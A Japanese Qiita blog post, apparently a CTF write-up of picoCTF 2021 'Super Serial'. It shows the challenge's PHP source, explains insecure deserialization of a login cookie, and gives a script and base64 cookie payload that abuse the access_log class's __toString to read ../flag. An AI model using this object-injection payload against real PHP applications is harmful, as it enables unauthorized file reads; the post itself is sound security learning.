2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

picoCTF 2021 Super Serial

Last updated at Posted at 2021-04-01

できなかった問題をwriteup等を参考に勉強した記録を残す。
勉強した結果,徳丸本 4.14.2 安全でないデシリアライゼーション に関する問題とわかった。

313 solvesの難問

Super Serial

ヒント ../flag

アクセスするとこんな画面が表示される。
image.png
OSコマンドインジェクションとか狙ったが全くだめ

以下,他力ありき。

robots.txt

image.png
admin.phps
image.png

phpsって何?

The PHPS file type is primarily associated with 'PHP Source' by The PHP Group.とか書いある

index.phpsは?
見えた

index.phps
<?php
require_once("cookie.php");

if(isset($_POST["user"]) && isset($_POST["pass"])){
	$con = new SQLite3("../users.db");
	$username = $_POST["user"];
	$password = $_POST["pass"];
	$perm_res = new permissions($username, $password);
	if ($perm_res->is_guest() || $perm_res->is_admin()) {
		setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
		header("Location: authentication.php");
		die();
	} else {
		$msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
	}
}
?>

<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
	<body>
		<div class="container">
			<div class="row">
				<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
					<div class="card card-signin my-5">
						<div class="card-body">
							<h5 class="card-title text-center">Sign In</h5>
							<?php if (isset($msg)) echo $msg; ?>
							<form class="form-signin" action="index.php" method="post">
								<div class="form-label-group">
									<input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
									<label for="user">Username</label>
								</div>

								<div class="form-label-group">
									<input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
									<label for="pass">Password</label>
								</div>

								<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
							</form>
						</div>
					</div>
				</div>
			</div>
		</div>
	</body>
</html>

インクルードしているcookie.phps

cookie.phps
<?php
session_start();

class permissions
{
	public $username;
	public $password;

	function __construct($u, $p) {
		$this->username = $u;
		$this->password = $p;
	}

	function __toString() {
		return $u.$p;
	}

	function is_guest() {
		$guest = false;

		$con = new SQLite3("../users.db");
		$username = $this->username;
		$password = $this->password;
		$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
		$stm->bindValue(1, $username, SQLITE3_TEXT);
		$stm->bindValue(2, $password, SQLITE3_TEXT);
		$res = $stm->execute();
		$rest = $res->fetchArray();
		if($rest["username"]) {
			if ($rest["admin"] != 1) {
				$guest = true;
			}
		}
		return $guest;
	}

        function is_admin() {
                $admin = false;

                $con = new SQLite3("../users.db");
                $username = $this->username;
                $password = $this->password;
                $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
                $stm->bindValue(1, $username, SQLITE3_TEXT);
                $stm->bindValue(2, $password, SQLITE3_TEXT);
                $res = $stm->execute();
                $rest = $res->fetchArray();
                if($rest["username"]) {
                        if ($rest["admin"] == 1) {
                                $admin = true;
                        }
                }
                return $admin;
        }
}

if(isset($_COOKIE["login"])){
	try{
		$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
		$g = $perm->is_guest();
		$a = $perm->is_admin();
	}
	catch(Error $e){
		die("Deserialization error. ".$perm);
	}
}

?>

インクルードしているauthentication.phps

authentication.phps
<?php

class access_log
{
	public $log_file;

	function __construct($lf) {
		$this->log_file = $lf;
	}

	function __toString() {
		return $this->read_log();
	}

	function append_to_log($data) {
		file_put_contents($this->log_file, $data, FILE_APPEND);
	}

	function read_log() {
		return file_get_contents($this->log_file);
	}
}

require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
	$msg = "Welcome admin";
	$log = new access_log("access.log");
	$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
	$msg = "Welcome guest";
}
?>

<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
	<body>
		<div class="container">
			<div class="row">
				<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
					<div class="card card-signin my-5">
						<div class="card-body">
							<h5 class="card-title text-center"><?php echo $msg; ?></h5>
							<form action="index.php" method="get">
								<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
							</form>
						</div>
					</div>
				</div>
			</div>
		</div>
	</body>
</html>

今通勤電車で読んでる徳丸本の4.14.2 安全でないデシリアライゼーションで
徳丸先生が使ってはいけないといっているserialize/unserializeがあり,
serializeしたデータをcookieに格納し,
cookieからserializeしたデータを取り出してunserializeしてる。

徳丸本を読んだとき,PHPのソースが見えないとできない攻撃だから,「こんなの実際には起こらないだろ」と思っていたが,この問題で,robots.txtでソースが見えるというヒントがあり,なるほどよく出来た問題だなと思った次第であります。はい。

PHP Object Injection

serialize してる場所

index.phps
setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");

unserialize してる場所

cookie.phps
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
```

どうやら cookie にPHPスクリプトを注入できそうだ

また徳丸本だが,PHPの場合,デシリアライズできるクラスは,攻撃対象アプリケーション内であらかじめ定義されているものに限られるとある

攻撃にもってこいなのはaccess_logクラス

```php5:authentication.phps
<?php

class access_log
{
	public $log_file;

	function __construct($lf) {
		$this->log_file = $lf;
	}

	function __toString() {
		return $this->read_log();
	}

	function append_to_log($data) {
		file_put_contents($this->log_file, $data, FILE_APPEND);
	}

	function read_log() {
		return file_get_contents($this->log_file);
	}
}

require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
	$msg = "Welcome admin";
	$log = new access_log("access.log");
	$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
	$msg = "Welcome guest";
}
?>
```

$log = new access_log("access.log")の access.log を ../flag に変更すればいい感じ。

https://www.php.net/manual/ja/language.oop5.magic.php

read_log() がマジックメソッド __toString() に定義されており,
echo $obj; としたときに ../flag の中身を表示できそうだ。

攻撃コード作成スクリプト(シリアライズしたデータが見える状態)

```php5
<?php

// access_logは,authentication.phpsからコピペ
class access_log
{
    public $log_file;

    function __construct($lf) {
        $this->log_file = $lf;
    }

    function __toString() {
        return $this->read_log();
    }

    function append_to_log($data) {
        file_put_contents($this->log_file, $data, FILE_APPEND);
    }

    function read_log() {
        return file_get_contents($this->log_file);
    }
}

// $log = new access_log("access.log"); と同じようにオブジェクト生成
$log = new access_log("../flag");

//echo "Cookie: "

// $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));の逆をする
//echo urlencode(base64_encode(serialize($log)));
echo serialize($log)
?>
```

結果

```
O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}
```

攻撃コード作成スクリプト(本番用)

```php5
<?php

// access_logは,authentication.phpsからコピペ
class access_log
{
    public $log_file;

    function __construct($lf) {
        $this->log_file = $lf;
    }

    function __toString() {
        return $this->read_log();
    }

    function append_to_log($data) {
        file_put_contents($this->log_file, $data, FILE_APPEND);
    }

    function read_log() {
        return file_get_contents($this->log_file);
    }
}

// $log = new access_log("access.log"); と同じようにオブジェクト生成
$log = new access_log("../flag");

//echo "Cookie: "

// $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));の逆をする
echo urlencode(base64_encode(serialize($log)));
//echo serialize($log)
?>
```

結果

```
TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
```

攻撃開始

攻撃目標は,access_logクラスがあるauthentication.php
発動場所は,unserializeがあるcookie.php
cookie.phpはauthentication.phpにインクルードされてるから問題なし

コードが実行されるまでの流れ

```php5:cookie.php

if(isset($_COOKIE["login"])){
    try{
        // 1. 攻撃コードがアンシリアライズされる
        $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));

        // 2. usernameやpasswordが無いのでエラーになる
        $g = $perm->is_guest();
        $a = $perm->is_admin();
    }
    catch(Error $e){
        // 3. ここに飛んでくる
        die("Deserialization error. ".$perm);
        // 4. __toString()が発動
        // 5. read_log()が発動
    }

```

結果
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/15b1b284-55bf-960a-52b9-444d83afadf1.png)

狙いどおり ビンゴ!
2
1
2

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?